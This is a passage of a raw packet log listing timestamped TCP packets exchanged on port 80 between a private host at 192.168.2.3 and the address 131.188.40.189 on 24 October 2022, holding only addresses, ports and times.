Oct 24, 2022 11:08:54.028400898 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028409004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028429985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028448105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028455019 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028481960 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028760910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028789997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028811932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028836966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028861046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028877020 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028877020 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028889894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028915882 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028927088 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028940916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028965950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028991938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.029114008 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.029114008 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.030817986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.030867100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.030904055 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.030921936 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.030955076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.030977011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.030986071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031018972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031039000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.031043053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031069040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031091928 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.031096935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031126022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031138897 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.031167030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031197071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031207085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.031224012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031246901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031272888 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.031272888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031305075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.031322002 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.032062054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.032120943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.033001900 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.033045053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.033094883 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049563885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049612999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049643993 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049674034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049679995 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049704075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049734116 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049736023 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049766064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049787998 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049798012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049827099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049853086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049856901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049885035 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049902916 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049916029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049943924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.049958944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.049972057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050000906 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050020933 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050029039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050056934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050081968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050085068 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050112009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050124884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050139904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050168037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050194025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050204992 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050225973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050255060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050257921 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050286055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050301075 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050318956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050347090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050364017 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050380945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050410032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050421953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050437927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050465107 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050479889 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050492048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050520897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050549030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050551891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050578117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050592899 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050606966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050637007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050657988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050684929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050714970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050735950 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050744057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050771952 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050797939 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050801039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050829887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050853014 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050860882 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050905943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.050916910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050950050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.050976992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051004887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051006079 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051035881 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051063061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051071882 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051090956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051119089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051119089 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051146984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051168919 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051177025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051208973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051235914 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051244974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051275969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051304102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051306009 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051331997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051362038 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051362991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051393032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051412106 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051422119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051455975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051485062 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051491022 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051515102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051537991 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051544905 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051574945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051594973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051604986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051635027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051660061 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051664114 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051696062 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051717997 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051723957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051753044 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051778078 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051779985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051810026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051824093 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051839113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051867962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051896095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051901102 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.051924944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051950932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051980019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.051983118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052007914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052009106 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052043915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052067041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052074909 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052104950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052131891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052139044 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052160978 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052189112 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052217960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052222013 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052248001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052278996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052284956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052305937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052323103 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052335024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052356958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052365065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052393913 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052423000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052426100 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052449942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052473068 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052479029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052506924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052527905 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052535057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052561998 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052582979 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052588940 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052617073 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052639961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052645922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052673101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052695036 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052702904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052732944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052757978 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052761078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052787066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052814007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052824020 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052843094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052870989 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052882910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052900076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052918911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052928925 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052958965 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.052972078 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.052987099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053015947 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053044081 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053044081 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053073883 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053092957 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053100109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053136110 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053153992 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053164005 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053191900 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053219080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053222895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053252935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053267956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053280115 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053308010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053329945 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053333998 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053363085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053391933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053406000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053421974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053443909 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053451061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053481102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053505898 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053508997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053538084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053561926 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053565979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053595066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053622961 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053651094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053653002 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053677082 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053680897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053709984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053724051 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053735971 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053764105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053781033 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053792000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053821087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053838015 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053848982 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053873062 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053900957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053922892 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053931952 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053956032 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.053961039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.053991079 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054018021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054018974 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054047108 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054059982 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054076910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054105997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054136038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054160118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054163933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054191113 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054192066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054224014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054243088 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054250956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054279089 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054280043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054310083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054326057 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054337978 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054364920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054371119 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054392099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054416895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054418087 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054430962 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054445028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054469109 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054472923 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054486990 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054502010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054528952 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.054528952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054584026 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.054605007 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075563908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075598955 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075618029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075637102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075642109 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075655937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075679064 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075679064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075700998 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075721025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075736046 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075740099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075761080 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075776100 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075779915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075788021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075799942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075819016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075836897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075841904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075855970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075875044 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.075884104 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.075895071 CEST	80	49692	131.188.40.189	192.168.2.3
